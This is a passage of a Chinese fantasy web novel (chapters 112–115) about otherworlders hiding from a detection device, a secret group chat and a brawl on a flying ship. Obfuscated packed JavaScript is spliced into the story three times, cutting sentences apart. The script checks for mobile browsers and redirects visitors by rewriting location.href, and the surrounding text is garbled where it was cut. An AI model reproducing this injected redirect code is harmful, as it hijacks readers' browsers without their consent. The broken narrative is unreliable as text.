安静了很久,粉彩才从骤然的耳鸣中听到这句话。 罪孽深重的恶人幡然醒悟,他用八年在此赎罪,又在临终前因这话得到解脱。 终于,他在长久的麻木痛楚中哭出声,血泪在面颊蜿蜒流下,他嘶哑着断断续续问:“青花,死后能回家吗?” “我在……这些痛苦里感受到了一丝救赎,死在我剑下的灵魂语呓在慢慢减少,我是不是,得到了一丝原谅?” “他们会不会跟回去?” “我想清清白白地回家。” “青花,我想回家。” · 说是陪苏与商喝酒,其实是阿玲看着苏与商喝。 苏与商还劝她喝酒,阿玲不喝也不在意,直接把她的酒杯拿过来干了,然后跟她说自己外出闯荡时喝过哪些好酒,又在草原上如何驯服狼群雄鹰,爽朗又豪气。 阿玲听着她说走过的天南海北,不自觉被吸引进去。 太虚大陆很大,但她去过的地方很少,便是阿玲闯荡时也只是在几座城之间游荡。 听着苏与商描述的星野空旷,天地独我一人,那种豪迈而自然的感觉仿佛将她整个人托举,轻松自由,让她有了一丝向往。 忽然,她左眼传来痛楚,所有念头一瞬间收回,无形的沉重再次压上心头。 又有异世者死亡。 112. 112 第二天苏与商带着宿醉醒来,她按着太阳穴去看坐在一旁看天空的阿玲,长长呼出口气:“喝酒误事。” 此时朝霞满天,云层染上绚丽的色彩,金色光芒洒在两人身上,阿玲闻言笑了下:“苏大人平时也这样?” “工作之余总得学会偷闲。”苏与商站起身,伸了个懒腰说:“不是说要去尚署?走吧。” 天诛院的尚署和玄甲挨得很近,两人过去时还能看到黑衣制服的玄甲兵在做日常训练。 相较玄甲的训练有素,尚署就显得凌乱懒散,阿玲进去时还看到有个躺在木屑里睡觉的修士,再往里,不是打着哈欠找水喝,就是满脸惺忪黑眼圈,精神状态堪忧。 尚署的制服是缁色,为黑泥之色,背后绣着日月同辉图,但老老实实穿的人不多。 苏与商也没问她为什么来,就带着她在尚署里逛。 “这里主要是分析新材料,不同混沌的魊特质不同,用处也不一样,有的适合炼器,有的适合做防御材料。” 很大的空间分成了很多隔间,各种大大小小的骨头皮肉组织堆在地上桌子上,此外还摆放了很多花卉和绿植。 阿玲认真观察,因为魊的肢体很多,这片空间遍布着灰色粒子,一旦靠近这些植物,浊气就会消解,这应该就是清祟香囊诞生的原理。 “这是炼器的地方,包括玄甲、大术院小术院的武器都出自这里,”苏与商说,“你的雪麟是半神品。半神品都是出自卢家,然后从尚署流出去。” 阿玲问:“我听说卢家不与外界交流,那他们怎么列入十三世家?” 十三世家的条件很苛刻,除了拥有自己的传承外,还要定时参加某些对修真界有益的活动,比如小术院联赛,昆山会等。 但小术院联赛并未见到卢家的身影。 苏与商笑道:“因为他们足够强。卢家世世代代研究造化之道,修真界所有顶级武器都是卢家研发的,包括半神品。也正是因为他们的不闻外界,才能有如此成就。” 阿玲说:“那你们的颛孙院长很厉害。” 能让不闻窗外事的卢家打破封闭,就连君慕之也需要通过颛孙院长才能见到卢家人。 “找到方法就行。卢家虽然封闭,但为了传承,会化作普通人寻找优秀弟子,颛孙院长就是这样碰到的。对待匠人就要用他们无法拒绝的诱惑勾出来,”苏与商敲敲桌上的骨质材料,“喏,就是这个。” 而天诛院正是研究异世者混沌和魊的地方,只要大混沌还在,魊就是不断推陈出新的新型材料,可以说是正对卢家胃口。 阿玲了然,她的目光在各个研究室内扫过,奇形怪状的东西太多,压根看不出能找出异世者的是哪个。 想了想,好歹要有个正常来的理由。 她问:“制作雪麟的是谁?我有些问题想咨询他。” 苏与商摇头:“卢阿啊,卢家的后起之秀,半神品就是他研究出来的。他不在尚署,只偶尔挑材料会来尚署。你要问什么?” 阿玲就提出雪麟的几个使用问题。 就在这时,一个赤膊的中年男子一阵风地跑过,片刻后又急忙退回来,二话不说拉着苏与商往前跑:“苏大人你来得正好,快,天机有眉目了!” 洪戎将苏与商拉到地下一层,这里有个巨大的地下空间,虽在地下,特殊的发光材料让这里亮如白昼。 这片空间分两部分,一部分堆积着各种说不出形状和原型的材料,另一部分空荡荡,只有一台裸露很多细线的仪器,近看会发现,仪器的每块材料都刻满极难辨别的术纹。 仪器运转的低沉声音在空间里回响。 对面的八角牢笼里蜷缩着一个人,隔了几米还站着个耷拉着脑袋打盹的,应该是被洪戎临时拉过来。 他从仪器旁拿起一片磨得光滑的透明板,延伸出一根细线和仪器相接,板面刻了很多术纹,但不影响透过它望向对面的人。 “你看,”洪戎满是胡茬的脸露出兴奋,他将透明板放在眼前,对着前面打盹的人,“这是处理材料的老范,通过云罗看什么都没有。” 说着他将透明板转向八角牢笼:“如果云罗面向异世者,就会出现模糊的重影。” 显示在云罗上的画面发生变化,八角牢笼还是清晰可见,但蜷缩的人影却逐渐变得模糊,仿佛刚作好的画像滴入水液,人影边界出现毛边。 看到这幕的瞬间,阿玲有种心惊肉跳的惊悚感,连远在天雪峰的江弥也一同变了脸。 苏与商神色愉悦:“不错,能精准识别吗?” “还得大量测试,我找司鉴要个异世者跟杀了他们似的,这事苏大人搭把手,让他们匀出几个异世者,要不是天机还在保密阶段不能搬去三堂……”洪戎说到一半才发现多了个人,立即横眉指她,“你谁?谁让你进来的?玄甲怎么乱放人进来……” 那只拿着云罗的手正对着阿玲。 阿玲心脏停滞一瞬,她手指发凉,不动声色往后退了步,手按在雪麟剑柄上,大脑飞速运转,从这里逃出去的概率有多大。 也在这时,云罗上的阿玲身影开始发生变化。 说到一半洪戎忽然停下,他看了眼云罗,又抬眼望向阿玲,赤膊肌肉虬结蠕动,目光变得冰冷:“异世者?” 握住雪麟的手紧了紧,阿玲神色沉冷,剑柄拔出一寸,雪白剑身萦绕着凌厉剑气。 她的运气实在是太差了。 隐藏这么多年,竟然因这种意外暴露。 沉默压抑的气息充斥整片空间。 打盹的老范被惊醒,看到剑拔弩张的两人,他打着哈欠走过来:“老洪你又跟人打架打赌?这次又在打谁成果的主意?” 老范懒腰伸到一半瞥见洪戎身后的苏与商,瞌睡瞬间跑了,刚要说点什么,瞥见洪戎手里的云罗,又望了眼眸色冰冷的女孩,哑了下:“这么巧?这谁?” 但没人理他。 阿玲目光瞥向八角牢笼,真打起来,先将异世者放出来,至少能制造点混乱,她刚升至七阶,身处天诛院内部,周围又都是玄甲,如果真的被抓…… 她在心里闪过一丝决绝。 一声轻笑打破凝滞的空气。 苏与商笑着说:“老洪,用云罗对着我试试。” 洪戎盯着阿玲没动,老范撸了把脑袋:“嗐,老洪你这牛脾气!” 老范从洪戎手里夺过云罗,指向苏与商道:“苏大人别介意啊,您的影像肯定……” 说到一半卡壳,他望了望苏与商,又低头看云罗,还抬手拍了拍,重新举起来看,重复几遍后他勉强尴尬地笑了下:“这似乎……有点不对劲。” 洪戎听出不对,从老范手里夺过云罗面对苏与商,云罗上的画面开始变化,他眉头紧锁,望向苏与商的目光带着点怀疑。 老范一巴掌拍他脑门,怒骂:“想什么呢你?” 苏与商倒是不计较:“让我试试。” 洪戎没动,老范将云罗递给苏与商,就见苏与商举起云罗面对洪戎,过了会儿挑眉笑道:“老洪,你藏得挺深啊。” 老范听闻也去看,脸上的犹疑终于散去,朝洪戎笑哈哈道:“老洪你也是异世者啊。” 洪戎皱眉:“我不是异世者。” 苏与商说:“老洪你也看看。” 老范自觉走出几米外,苏与商拿云罗看他。 洪戎迟疑着走过去,但也离她一米多,然后就见云罗上的老范身影逐渐变得模糊。 洪戎没说话,老范好奇问:“怎么样?” 苏与商笑着说:“异世者。” 老范摆手:“我怎么会是异世者,肯定是天机的问题。我说老洪,下次别拿这种残缺品乱看,要是苏大人被你误判,我看你怎么办?” 两米外的阿玲看着气氛恢复正常,短短十几秒,背后冷汗几乎要浸湿衣衫,她到现在还手指发麻,握着剑鞘的手紧了紧,归剑入鞘,不动声色地调整气息。 那边误会解除,洪戎和老范准备走,苏与商抬了下手,指阿玲:“我这好不容易交个小友,一来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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群主:【帅帅你好,我是异世者聊天群的群主,经观察,你有很多令人欣赏的优点,非常适合做聊天群的管理员。你是否有意愿加入我们组织?】 我太帅了:【你先说说我有哪些优点。】 群主:【阳光积极,聪明机敏,善良勤奋,天赋异禀,心理素质强。】 我太帅了:【为什么没有漂亮这个选项?】 群主:【对异世者而言,漂亮不是个褒义词。】 我太帅了:【但是夸人漂亮是礼貌。】 群主:【阳光积极,聪明机敏,善良勤奋,天赋异禀,心理素质强,美丽漂亮。】 我太帅了:【嗯,那我考虑下。】 接着蒋敏的信息更新为: 我太帅了:【我同意了。】 片刻后,“群主”变成“青花”,“我太帅了”变成“梅子青”。 蒋敏看到“青花”二字瞬间眼睛瞪圆。 等等?群主谁?青花?那个挂在悬赏榜首位十年都没人知道长啥样的通缉犯?乖乖,我加入了个什么组织啊? 青花:【你的代号是梅子青,接替祭红的工作。我将群主的部分管理权限给你,你的任务是分析群聊里所有人的话,判定每个人的立场。】 梅子青:【我能后悔吗?】 青花:【蒋敏,组织给你上的第一课:胆小会让你错过生存的机会。】 蒋敏简直要“哇”的一声哭出来,不带这么威胁人的,连她名字都知道,暴露身份赶尽杀绝不是分分钟的事?她就是想后悔也不敢啊! 梅子青:【青花老大,我悟了,人活着得拼搏!组织放心,梅子青保证完成任务!】 梅子青:【青花老大,咱们组织是个什么情况?我有哪些革命同志?咱有迎新活动不?】 青花:【看你表现。】 梅子青:【青花老大!梅子青必定全力以赴!】 蒋敏苦哈哈地朝阿玲挥挥手,背影凄苦地下了山。 看了全程的阿玲:“……” 113. 113 为了帮君慕之治疗,阿玲不得不待在天雪峰,可她不是小术院学员,旁人只会认为她和君慕之有特殊关系。 但问题是,江弥也在天雪峰。 于是山下话锋一转,江弥变成了被君少主抛弃的小可怜,他们不敢说君慕之的坏话,便一致认为阿玲是破坏两人感情的坏女人。 江弥几次下山都收到各种目光,有同情八卦的,也有幸灾乐祸的,甚至还有人上前安慰她试图给她支招夺回君慕之的。 “其实君少主只是长得好看了点,家族不凡了点,武力值高了点,也没其他优点,关键是他花,花心的男人配不上队长,”蒋敏很认真地劝江弥,“队长,你放弃吧,这种男人没什么好的,周三最近在观察品行不错的男修,我会和他一起帮队长参谋的。” 江弥眨眼没说话。 蒋敏刚从阿玲那过来,她对阿玲说的是:“你真的喜欢君少主吗?君少主呢?你们是两情相悦吗?你知道君少主之前是喜欢江弥的吗?哦,江弥就是隔壁屋里的女修,我和她有点交情,你若是真喜欢君少主,我……” 仿佛下了什么决心,她重重点头:“我就是不要节操也会帮你的!” 江弥没想到她说的节操,是指这个。 解释她和君慕之没关系对方肯定听不进,江弥反其道而行之,点点头表示认可:“你说得对。” 蒋敏搬着小凳子坐过来:“你真这么觉得?你不喜欢他了吗?” 江弥:“嗯。” 这么欺负外冷心热的队长,蒋敏觉得自己有罪,队长被心爱之人背叛又被自己这个好友背刺,好可怜。 蒋敏觉得自己该做点什么,她面向江弥坐着,语气真诚道:“队长,你想哭想发泄都可以,我陪你。” 江弥:“我要研究星图。” 蒋敏殷勤道:“我绝不打扰你。” 江弥就不管她,开始研究君慕之说的占星术,闪烁的星辰渐次出现在木屋里,她在其中点星移星。 屋内群星闪耀,蒋敏些惊奇江弥一次能释放出这么多星辰,这怎么也不是五阶能做到的吧?小术院联赛结束时江弥才升五阶,现在又升了? 静静看了会儿,发现江弥不是心事重重而是真的沉浸在星图里,于是也开始自己的学习。 学霸系统越到后面,想要升阶,考核内容更难更杂,她需要花费更多时间学习。 其实她也很忙,不仅要忙着学习升阶,还要活跃聊天群里的气氛。 这段时间到处都在传守望军被抓的消息,加上散盟会的异世者悬赏任务,大部分异世者有所耳闻,都安分老实得很,连聊天群也没什么人说话。 蒋敏要记录分析这些人立场,没人说话怎么分析? 没办法,蒋敏只能每天在群里活跃下气氛。 我太帅了:【各位小伙伴好,今日小报速递:粉彩在三日前死亡。这个被三堂折磨了八年、差点屠灭池家、从天诛院救走异世者的老乡一路走好,希望死后的世界没有痛苦和折磨。】 这则消息炸出了不少人。 阿卡巴拉:【这个人我还是服的。】 直播剁雕:【“夭折”事件虽不是因他起,但也和他脱不了干系,不为别的,就为他替我们这些窝囊缩起来的人挺直腰背,我也愿意敬重他。】 每天都想报复哦不对是暴富:【他做的每一件事都不得不让人佩服。帅帅,粉彩是被三堂杀的,还是受不住折磨死的?】 阿卡巴拉:【其实我更想知道的是,帅帅昨天分享的池家后续事件是真是假?】 黄泉路的三颗石:【八年啊,我都不敢想象他是怎么熬过来的,听说会用锁链锁住脚腕手腕,然后将人吊在半空,太可怕了。】 我太帅了:【@暴富,他杀,据说三堂也在调查。】 直播剁雕:【天诛院不是一般人能闯入的。】 黄泉路的三颗石:【我更愿意相信是同类想让他解脱才选择杀他的。】 我太帅了:【@三颗石,我猜你一定是个浪漫又心软的小姑娘。】 黄泉路的三颗石:【男生,谢谢。】 阿卡巴拉:【哈哈哈。】 直播剁雕:【哈哈哈哈哈哈哈哈!】 每天都想报复哦不对是暴富:【哈——】 我太帅了:【咳哼,阿卡想知道池家后续详情?】 阿卡巴拉:【总感觉有坑等着我跳。】 我太帅了:【嘿嘿嘿,阿卡别这么说嘛,我这人喜欢听八卦,我们交换啊,越狗血奇葩越好,不管皇子公主还是世家普通人都行。】 可爱小仙女:【我倒是知道最近有一则。】 我太帅了:【什么什么?】 可爱小仙女:【君氏少主移情别恋,品位偏向普通女修,无权无势韧劲儿十足的那种。】 直播剁雕:【异世版霸道少主爱上我吗?】 “卧槽!”蒋敏猛地爆出一句粗口,引得江弥望来,她讪讪摇头说没事,目光瞥见聊天群一下刷出八九条消息,有凑热闹的,也有分享自己所闻。 这事已经传得这么快了吗? 江弥也瞧见聊天群的消息,她对自己的谣言没太大感受,但对粉彩的死讯感到意外。 就在三天前,她还去看过粉彩,也就是说她走后粉彩就被人杀了。 细想下来,苏与商带她去看粉彩的行为也很突然。 门忽然被敲响,江弥看了眼,一颗星辰飞过去打开门,君慕之神色如常走来:“哪个相位不理解?” 正在惊讶绯闻传播速度之快的蒋敏抬眼就见绯闻人物站在一起,也不算什么,这种场景她见……等等,君少主伸手在做什么?我眼花了吗?君少主主动牵队长的手?!君少主不是移情别恋了吗? 蒋敏目瞪口呆看着江弥愣了一瞬,然后任对方牵着。 队长没挣扎!她果然深深爱着君慕之! 可我家阿玲怎么办? 短短三秒内,蒋敏觉得自己大脑要被烧干了。 江弥前几秒还在通过阿玲的口问占星术问题,刚才看到聊天群的消息一时没关注君慕之情况,没想到他立马过来了。 来了正好。 “你说的相位吉凶,要如何判断?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943047|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >君慕之修长手指点了下最近的星辰:“相位本身没有吉凶之分,有吉凶的是星体,以你为中心,连接星辰和对手形成的星相,以此判断……” 等江弥从占星术出来,蒋敏不知何时已经离开,她捏了捏君慕之的手,看他垂眼望来才道:“我要去大术院一趟。” 见过天机后,异世者悲惨的结局在脑海里越发鲜明,江弥心中的紧迫感在催促,总觉得要快点做些什么。 她仍旧有很多疑惑,不解答她就什么也做不了。 君慕之低眉应了声:“什么时候?” 江弥:“等下就出发。” 君慕之忽然起身,白袍在幽蓝光芒里飘动。 江弥连忙将他拉回来:“你做什么?” 君慕之:“去大术院。” 虽然去大术院需要几日,但…… “不是有阿玲在?”江弥说,“你没法离开阿玲,我和阿玲不能一直在一起,你和阿玲留在天雪峰。” 君慕之:“不用担忧,有凝香丸。” “你,是不是没有朋友?”江弥用有些惊奇又怪异的眼神看他,抬了下手,君慕之的手也跟着抬起,“我们应该可以算作朋友,当然,我们情况有点特殊,但怎么也不会这样粘在一起。” 满屋群星还未散去,星辰带动君慕之的发丝和衣摆,让他看上去俊逸非凡,他抬眸问:“什么关系可以?” 江弥看他神色认真,像是真的在询问。 她忽然意识到一个问题。 她原打算从大术院回来后君慕之商量继续神契的事,天机出现后,神契的事最为急迫,将她的命和君慕之绑定,即便被发现异世者身份她也还回转的余地。 溪兰是她最大的依仗,她有信心君慕之不会拒绝。 可若签订神契,虽然君氏不会将其当做婚契看待,但世俗意义却不这么看,倘若君慕之在未来娶妻,神契无法解除的情况下,她反倒成了很尴尬的存在。 只是想想就觉得头大。 江弥晃晃他的手,有些发愁:“君慕之,你能不能别喜欢人?” 君慕之问:“为何?” 江弥也不能说我怕被你家人以及未来妻子当成第三者,然后趁你不注意将我做掉。 而且这种要求听着确实有点过分。 “不然,你喜欢我吧,”江弥站直,拨弄了下有些散乱的头发,冲他自荐道,“我们知道对方的秘密,还有过肌肤之亲,比别的姑娘有更深更牢靠的感情基础,而且你的体质不能接近其他女孩,只有我能帮你治病,你不觉得我们是天作之合吗?” 江弥本来只是随口说说,她不觉得君慕之会答应,但说着说着,她自己都觉得两人就该在一起。 想了想,她双手握住君慕之的手,再接再厉:“只要你对我好,我就会对你好。” 君慕之垂眸,长长的黑发披在身后,他看着江弥,眼底尽是星光璀璨,有种清冶绝绝的美。 同君慕之沉静的目光对视,江弥后知后觉自己是在表白,平静无波的心绪逐渐掀起波澜,她眨了下眼,不太确定地问:“你觉得如何?” 114. 114 这是江弥第一次表白,心中竟然生出点期待和忐忑。 她认真地注视君慕之,想看他什么反应。 但君慕之似乎被她的话惊住,怔愣了很久,某个瞬间回过神时对上江弥黑眸,又陷入沉默的思考中。 嗯,认真思考就说明有希望。 之前是没有这个想法,有了这个想法再回想两人相处的细节,忍不住心中冒冷汗。 君慕之应该没有察觉自己把他当做工具人吧? 江弥忽然觉得希望渺茫,生怕君慕之也和她一样在回忆,连忙打断,冲他道:“慢慢想,不着急。” 给她点时间打好感情基础,至少先将工具人这个标签撕掉。 君慕之原本垂下的眼睫微微抬起,眸中带了点光彩,似要开口说话,忽然拧了下眉,直接搂住江弥冲出木屋,速度很快。 也在同时,待在另一间木屋的阿玲察觉到什么,撞开临近的窗户,即将落地时利落地捏术乘风而起。 却见下秒,木屋周围的厚厚的雪层炸开,寒风扬起雪雾,屋舍被白雪笼罩。 锦绣华服的男子从一片白茫茫中走出,他唇瓣含笑,浅色眼瞳荡着笑意:“君慕之,听说你在朝三暮四,我路过跑来看看,要不要再给你介绍几个?” 一模一样的场景。 这人就不会正常上门拜访吗? 君慕之落地就放开江弥,他皱眉望向姬月生:“有事?” 江弥则将注意力放在阿玲身上,思索如果当着姬月生的面收回阿玲,会不会被他察觉。 然而不等她行动,姬月生目光忽然瞥向一处,那是被风雪遮盖身形的阿玲:“我来啊,是见个人,为了见她,我快跑了半个太虚大陆。” 他忽而侧眸望来,对君慕之道:“可是叫我好找,这不,听到有消息立马跑来了。” 君慕之神色不变:“谁?” “急什么,”姬月生看向君慕之身后的江弥,朝她眨眼笑道,“君慕之不喜欢你了,你喜欢我如何?” 君慕之眸色变冷,垂下的手微动,冰雪雕砌的龙头从满天雪花中钻出,庞大的龙身在雪花中飞速凝实,带着风雪的凌厉猛地冲向姬月生。 在冰雕巨龙面前,姬月生如同蚂蚁,风雪扬起他的鬓发,他不见怒,反而抬手隔空挡住张开咬合的大嘴,朝君慕之道:“你喜欢这个,另一个给我怎样?” 说罢,他抬手一拂,遮掩视线的雪雾散开,露出站在不远处的阿玲。 果然是有备而来。 阿玲直接走到君慕之身后,看也不看姬月生。 姬月生恨得牙痒痒,就是这么个人,他找了数月余,踏遍大半个太虚大陆,想他堂堂姬氏少主,何曾这样花心思在一个女人身上! 结果到头来,她就待在这里,还成了君慕之的女人! 半点目光都不分给他,是压根不在意,还是觉得有君慕之在他奈何不了她? 姬月生的笑冷了下来:“你能跑到哪里去?” 阿玲在外的人设是冰冷酷姐,不怎么说话,江弥秉持人设不能崩原则,主动问她:“你认识他?” 阿玲冷淡回:“不认识。” 江弥看了眼姬月生,他气得抬手隔空捏碎甩来的龙尾,有君慕之在,她不担心姬月生能做出什么,于是朝阿玲露出个我懂的表情,继续挑衅:“理解。” 姬月生更气了,手腕上的红线变得明亮,庞大的力量从他周身散发,风雪随着冰龙嘶吼变成冰晶疯狂扫射。 姬月生动了气,无形力量扩散,发丝无风而动,下秒,冰晶和聚拢纷纷化作冰雪,又在眨眼后变成水滴,化作雨水落下。 他踏步朝君慕之走来,步伐发沉,似在发泄,目光却放在阿玲身上:“君慕之,我拿三十根真心跟你换,你喜欢这种,我给你挑三十个。” 君慕之抬手凝剑,没理会他的话。 江弥看这架势就知道两人又要开打,一时半会儿是停不下来的,留下阿玲在这里学习,江弥倾身朝君慕之低声说:“我先走了。” 刚抬脚,想起什么又转回来,补充了句:“给你带礼物。” · 大术院在太虚大陆中心,据说启蒙院不仅是根据二十八星宿起的名,也是根据星象方位建立的,其中小术院便在这些星宿之心。 大术院建在邰兴,心宿小术院到邰兴有点距离,仅凭脚程起码得两个月。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963725|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修真界的交通工具大部分是灵舟和灵坤船,多是世家和术院自用,像江弥这样想要搭乘的只能去散盟会,且巨贵,还是用于拉货的,环境肯定没有小术院好。 江弥卖掉老范给的剑,付了船票踏上大术院之旅。 这艘灵坤船不直达邰兴,只在颍建停,因此还要赶半天路才能到。 灵坤船的大部分空间用来装货,只留有两三个大点的房间用来载客,房间内什么都没有,地板还有种陈年洗不去的脏污和怪味。 能坐上灵坤船的大都是散修,实力不错,不缺钱,有的习惯在刀口舔血,习以为常地席地而坐,有的则受不了这种脏污,连坐的地方都没有,满脸气愤找载货的争论。 拉货的也不是好惹的,直接出动四名十阶的修士,能解决九成矛盾。 江弥盘腿坐地上,摸出块干粮嚼,灵坤船到颍建要两天,船上又都是来历不明的修士,需要养精蓄锐。 房间不大,有个窗,用透明材料隔开内外,是个视野开阔舒适的好地方,被三人团伙占据。 他们身上披着散盟会的黑衣斗篷,看不清面容,但散发的凶煞气息让其他人自发远离。 江弥离他们远,看了几眼便收回视线,闭目养神。 空间响起杂乱的调笑声和说话声,还有无聊的摸出民间赌具玩,开始只有两三人,惊动的大喊和刺激声很快引来更多人,半个房间的修士聚了过来,纷纷加入。 坐在窗台旁的三人里,有个看上去略瘦的黑衣斗篷心有意动,也想要过去玩一把,被另一个体型壮硕的一把拉回,极力压低声音:“你再忍忍。” 四周都是吵闹声,这声夹杂其中难以分辨。 被拉回去的修士心有不甘,勉强盘腿坐下,他撑着下巴叹:“好无聊,我们要这样坐两天?” 壮硕修士拉低帽檐,低声说:“是你要跟来的。” 那修士继续叹:“我没想到这么无聊。” 没得到另外两人回应,他无聊地看着沉浸在热烈气氛的几人,闭上眼,靠着墙壁抱臂睡觉。 明亮光线扫过,露出帽檐下的半张脸,左侧被复杂的图腾遮盖,瞧不出面容,只有掩不住的凶戾之气。 115. 115 赌博这种事情容易上头,一上头就会出问题。 刚开始大家只是无聊打发时间,随着修士的加入增加赌注,有钱的压钱,没钱的压随身玉佩武器,气氛逐渐热烈激昂起来。 隔壁有人听到这边动静过来看热闹,有个面相憨态的男修好奇看了两把,钻进最前面也加入其中。 很快激昂的声音变了。 “怎么又赢了?” “靠你怎么回事?不是当着大伙面作弊吧?” “老子回程的钱都给你搞走,从刚才你就把把赢,你当着老子的面出老千不要命是吧?把老子的钱吐出来老子就饶了你!” 随着那名光头修士大喝,其他人也纷纷附和,把把赢正在收钱袋子玉牌物件的男修挠挠脸:“你们不能输了就说我出千,输不起可以不赌。” 灵坤船上的大都是在外游历的散修,能闯到中高阶就没有好惹的,憨脸男修话一出,顿时挑起数人激愤。 不知是谁先出的手,强势的攻击震开,最里面的几人即便察觉攻击也因十多人聚集太密而难以闪躲,只能纷纷捏术回击。 但大家距离太近,有的术势大开大合,很难不波及身边人,原本只是想防御的修士打中戴头巾的男修,准备后退远离混乱的头巾修士被打立即打回去,也一拳轰出,将防御修士击飞的同时,也撞倒专心打架的两人,两人从地上爬起来对视一眼,不对打了,矛头转向头巾修士。 场面越来越混乱,本来还有人顾及灵坤船在半空飞行不能太过分,但被打了怒气上涌,哪还有理智可言,肯定要用更厉害的招式将其制服。 于是里层的人全卷入其中,外层的后退也没用,一个大型的术诀就将房间笼罩其中。 坐在窗台的三人中,苏乞花蠢蠢欲动,被崔大按住几次,他拉低帽檐不想被人看到,压低声音道:“冷静点,我们别管。” 狐狸左手抬剑砍灭飞来的攻势,也道:“低调点。” 苏乞花刀都抽出来了,被两个同伴压住,心里十分不爽:“就差砍脖子了还坐着?” 事实上平时这种事,崔大压根不可能劝人冷静,相反,他会和苏乞花一同拔剑打进去,倒是要狐狸拉住他。 但江弥在这里。 鬼他妈知道江弥为什么也在,正常来说她不是天天待在小术院认真钻研星图本命星? 要是被江弥发现免不了一通问。 崔大只想减小存在感,也致力于让同伴减小存在感。 苏乞花没得打,只能拄着刀柄看旁人打,见到几个招式奇特的还点点头想跟崔大点评一二,崔大敷衍点头,抬眼瞬间顿时怒了。 “靠!他妈往哪打呢?!” 江弥的位置偏僻靠后,打斗范围变大,她也免不了被波及,抬手点灭几招飞来的攻击。 外面忽然传来灵坤船值守修士的怒斥,知道马上会被压制,出手的人下手更狠了,有名修士朝着江弥的方向闪躲,攻击他的人不管三七二十一,砍下的一剑威势极强,惊动其他散修纷纷远离。 能量碰撞产生的风将发丝吹在江弥脸上,她脚步微抬,星星点点光芒浮现,在场打斗之中不少星修,她的星图点亮时丝毫不起眼。 就在江弥抬手引动星辰之力时,另一道带着杀意的剑招先一步斩下,却不是向她,而是挥向那道即将落下的剑势。 剑招碰撞下力量震荡,一道黑影拦在江弥身前,烈风将他的黑色兜帽吹开,崔大力有不及,往后退了两步,江弥抬手抵住他的背助他抵挡。 崔大头也不回说:“江小米,你在小术院待傻了不成,别人打过来你就不会打回去?” 下秒苏乞花咧着笑速影而上,双手握刀朝发出攻击的修士劈砍,对方只来得及抬剑被救接连的重力砍招压得毫无招架之力,那人一脸无语:“你要我命啊,我招你惹你了吗?” 没一会儿,踏着沉重步伐的狐狸也走来。 此时灵坤船的值守修士已经来了,几人的威压同时压下,中阶修士只觉脊柱被大山压得无法直起,修为高些的也觉得行动变慢。 打斗很快平息,显出一屋狼藉。 负责人听闻过来,他倒是见过大场面,灵坤船内部刻有各种术纹,光防御就有一千多,他扫了几眼见只是地板墙壁毁坏,便让出手的人缴些修补的罚钱就作罢。 负责人走前留了名值守修士防止再起争端。 江弥收了手,崔大背对她站着没动,明显在飞速思索接下来该怎么应对江弥的问题。 比两人先一步说话的是苏乞花。 他对江弥没什么印象,撞了撞崔大:“压着我不让动手,你自己动作倒是挺快的。” 崔大抬手戴上兜帽,没理苏乞花,冲江弥道:“你不是在小术院,怎么跑这了?” 江弥看了眼探过来的图腾少年,又扫了眼被面具和斗篷遮得严严实实的狐狸,心道这几人倒是不打不相识,朝崔大道:“又是散盟会的任务?” 崔大怕苏乞花乱说,连忙点头:“对!内容保密!” 苏乞花瞥眼看看两人,倒是没点破。 江弥问:“你去哪里?” 崔大:“颍建。” “颍建啊,听说最近皇室在招奇能异士!”突然的插话让几人齐齐望去,古东,就是方才赌博一直赢的男修,挠挠脸说:“你们也要去这地方啊?” 这人实在是能惹事,看着憨态无害,谁能想得到方才的混乱就是这人引起的? 这事崔大三人知晓,本着不想跟整个房间修士为敌的想法,崔大不理他抬脚准备走,就听江弥平静问:“奇能异士和修士有什么区别?” 古东也没想到自己只是想弄点盘缠就遭到这么多人围攻,灵坤船中途不停,还有一天呢,不赶紧找个修士作伴的话他怕自己休息时被揍。 于是特别殷勤道:“那小友你可有点孤陋寡闻了,奇能异士自然指的就是和普通修士能力不同的人,比如神脉家族,再比如异世者。” 提到异世者,几道目光扫过来,崔大皱眉,见两人聊上了,他就是想走也不行,只得退回来道:“你问这些做什么?” 江弥:“看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978143|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去你不太想让我知道。” 崔大梗了下,仰着脖子嘴硬:“我可没这么说啊。” 